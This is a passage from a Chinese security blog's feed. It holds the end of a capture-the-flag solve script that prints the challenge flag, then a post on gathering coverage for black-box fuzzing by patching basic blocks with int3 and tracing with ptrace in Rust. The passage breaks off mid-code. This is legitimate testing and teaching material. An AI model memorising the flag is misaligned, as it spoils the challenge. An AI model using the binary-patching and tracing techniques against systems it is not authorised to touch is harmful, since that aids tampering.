&lt;&#x2F;span&gt;&lt;span&gt;        count&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;(num_replace, re.finditer(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(?P&amp;lt;p1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(?P&amp;lt;p2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\.( \(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ (?P=p2)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, line)))[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span&gt;:]
&lt;&#x2F;span&gt;&lt;span&gt;        a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;np.array([[count[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;],count[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,count[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;], [count[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;],count[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,count[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;],[count[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;],count[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,count[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;]])
&lt;&#x2F;span&gt;&lt;span&gt;        A &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;np.matrix(a).I
&lt;&#x2F;span&gt;&lt;span&gt;        y&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;np.array([count[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;,count[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;,count[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;        y &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;np.matrix(y).T
&lt;&#x2F;span&gt;&lt;span&gt;        ans&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;A&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;y
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;round&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;float&lt;&#x2F;span&gt;&lt;span&gt;(ans[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;24&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;round&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;float&lt;&#x2F;span&gt;&lt;span&gt;(ans[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;24&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;round&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;float&lt;&#x2F;span&gt;&lt;span&gt;(ans[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;24&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;得到&lt;code&gt;XCTF{M4tRI1|i||l|Il|I1X_A5_YC0mb}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Fuzz-01-linux黑盒测试覆盖率</title>
        <published>2023-03-24T00:00:00+00:00</published>
        <updated>2023-03-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/fuzz1-zhui-zong-fu-gai-lu/"/>
        <id>https://richar.top/fuzz1-zhui-zong-fu-gai-lu/</id>
        
        <content type="html" xml:base="https://richar.top/fuzz1-zhui-zong-fu-gai-lu/">&lt;p&gt;在白盒测试中往往会用覆盖率作为fuzz的指标，来评判输入是否有价值。但黑盒测试中有时我们也想要获得覆盖率以更加精准的fuzz。可以采用二进制逆向工具，在程序的每个基本块头部插入软中断(&lt;code&gt;int3&lt;&#x2F;code&gt;)指令，运行时通过ptrace捕获SIGTRAP信号来统计代码覆盖率，再将原始的字节恢复并继续执行。&lt;&#x2F;p&gt;
&lt;p&gt;项目地址：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;trace_tool&quot;&gt;ri-char&#x2F;trace_tool&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-xian&quot;&gt;实现&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;patchcheng-xu&quot;&gt;Patch程序&lt;&#x2F;h3&gt;
&lt;p&gt;在程序的基本块中插入&lt;code&gt;int3&lt;&#x2F;code&gt;指令，如一个程序原本的控制流如下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;fuzz1-zhui-zong-fu-gai-lu&#x2F;2023-03-24_20-21.png&quot; alt=&quot;2023-03-24_20-21&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;图中共有8个基本块，需要将每个基本块的首字节改成&lt;code&gt;int3&lt;&#x2F;code&gt;，由于IDA Python难以批量处理大量文件，因此选用了&lt;code&gt;radare2&lt;&#x2F;code&gt;工具。它可以通过命令行交互，也提供了多种语言的接口可以很方便的使用代码交互。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;radare2&lt;&#x2F;code&gt;加载文件后，先通过&lt;code&gt;aa&lt;&#x2F;code&gt;命令让它自动分析所有的函数以及函数中的基本块。&lt;code&gt;afl&lt;&#x2F;code&gt;命令可以列出所有分析得到的函数，&lt;code&gt;aflj&lt;&#x2F;code&gt;可以指定以json格式输出，便于代码处理。&lt;code&gt;agf&lt;&#x2F;code&gt;命令可以可视化的展现函数的基本块，如上图所示，同样&lt;code&gt;agfj&lt;&#x2F;code&gt;也可以将基本块信息以json格式输出，如下图。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;fuzz1-zhui-zong-fu-gai-lu&#x2F;2023-03-24_20-29.png&quot; alt=&quot;2023-03-24_20-29&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;找到所有的基本块后，首先需要将每个基本块的原始内容记录下来，以便运行时动态恢复。可以使用&lt;code&gt;pB 1&lt;&#x2F;code&gt;命令输出一字节的内容；使用&lt;code&gt;wx cc&lt;&#x2F;code&gt;将当前字节修改为&lt;code&gt;0xcc&lt;&#x2F;code&gt;（为&lt;code&gt;int3&lt;&#x2F;code&gt;指令的机器码）。当需要修改文件时，&lt;code&gt;radare2&lt;&#x2F;code&gt;需要以读写方式启动，加上&lt;code&gt;-w&lt;&#x2F;code&gt;参数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;fuzz1-zhui-zong-fu-gai-lu&#x2F;2023-03-24_20-38.png&quot; alt=&quot;2023-03-24_20-38&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;以上演示了手动patch的过程，代码则是将以上过程自动化，完整代码参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;trace_tool&#x2F;blob&#x2F;main&#x2F;src&#x2F;patch.rs&quot;&gt;ri-char &#x2F;trace_tool&#x2F;src&#x2F;patch.rs&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tong-ji-fu-gai-lu&quot;&gt;统计覆盖率&lt;&#x2F;h3&gt;
&lt;p&gt;首先需要通过&lt;code&gt;ptrace&lt;&#x2F;code&gt;调试上目标进程，可以在子进程上调用&lt;code&gt;PTRACE_TRACEME&lt;&#x2F;code&gt;来主动让父进程调试自己，无需root权限，代码如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;match unsafe &lt;&#x2F;span&gt;&lt;span&gt;{ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;fork&lt;&#x2F;span&gt;&lt;span&gt;() }&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;? &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    ForkResult::Parent { child } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; exit_code&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;debug&lt;&#x2F;span&gt;&lt;span&gt;(child, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;initial_byte_map, args.output)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span&gt;(exit_code);
&lt;&#x2F;span&gt;&lt;span&gt;    },
&lt;&#x2F;span&gt;&lt;span&gt;    ForkResult::Child &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        ptrace::traceme()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;execv&lt;&#x2F;span&gt;&lt;span&gt;(cstr_args[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;as_c_str&lt;&#x2F;span&gt;&lt;span&gt;(), cstr_args.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;as_slice&lt;&#x2F;span&gt;&lt;span&gt;())&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Ok&lt;&#x2F;span&gt;&lt;span&gt;(())
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于大多数程序都是多线程或者多进程的，所以需要调用&lt;code&gt;PTRACE_SETOPTIONS&lt;&#x2F;code&gt;来设置需要跟踪&lt;code&gt;clone&lt;&#x2F;code&gt;、&lt;code&gt;fork&lt;&#x2F;code&gt;、&lt;code&gt;vfork&lt;&#x2F;code&gt;和&lt;code&gt;exec&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span&gt;ptrace::setoptions(
&lt;&#x2F;span&gt;&lt;span&gt;    child,
&lt;&#x2F;span&gt;&lt;span&gt;    ptrace::Options::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;PTRACE_O_TRACECLONE
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;ptrace::Options::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;PTRACE_O_TRACEEXEC
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;ptrace::Options::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;PTRACE_O_TRACEFORK
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;ptrace::Options::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;PTRACE_O_TRACEVFORK&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在调试的过程中，需要一个主循环来处理被调试进程的所有事件并进行处理。其中最重要的事件就是接收到了SIGTRAP信号&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; reg &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;ptrace::getregs(pid)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 此处获得的rip是int3后一条指令的地址，因此需要减1获得int3的地址
&lt;&#x2F;span&gt;&lt;span&gt;reg.rip &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let Some&lt;&#x2F;span&gt;&lt;span&gt;((module, offset)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;get_module_and_offset&lt;&#x2F;span&gt;&lt;span&gt;(pid, reg.rip)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;? &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let Some&lt;&#x2F;span&gt;&lt;span&gt;(initial_byte) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;get_initial_byte&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;module, offset, initial_byte_map) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; aligned_ip &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; reg.rip &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; !&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 获取该地址中原始内容
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; code_bytes: [&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=
&lt;&#x2F;span&gt;&lt;span&gt;            ptrace::read(pid, aligned_ip &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as&lt;&#x2F;span&gt;&lt;span&gt; AddressType)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;to_ne_bytes&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 将0xcc修改成程序原始的值
&lt;&#x2F;span&gt;&lt;span&gt;        code_bytes[(reg.rip &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; aligned_ip) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;usize&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; initial_byte;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_bytes &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;::from_ne_bytes(code_bytes);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 写入
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;unsafe &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            ptrace::write(
&lt;&#x2F;span&gt;&lt;span&gt;                pid,
&lt;&#x2F;span&gt;&lt;span&gt;                aligned_ip &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as&lt;&#x2F;span&gt;&lt;span&gt; AddressType,
&lt;&#x2F;span&gt;&lt;span&gt;                new_bytes &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as *mut &lt;&#x2F;span&gt;&lt;span&gt;std::ffi::&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;c_void&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;            )
&lt;&#x2F;span&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 将被调试程序rip-1
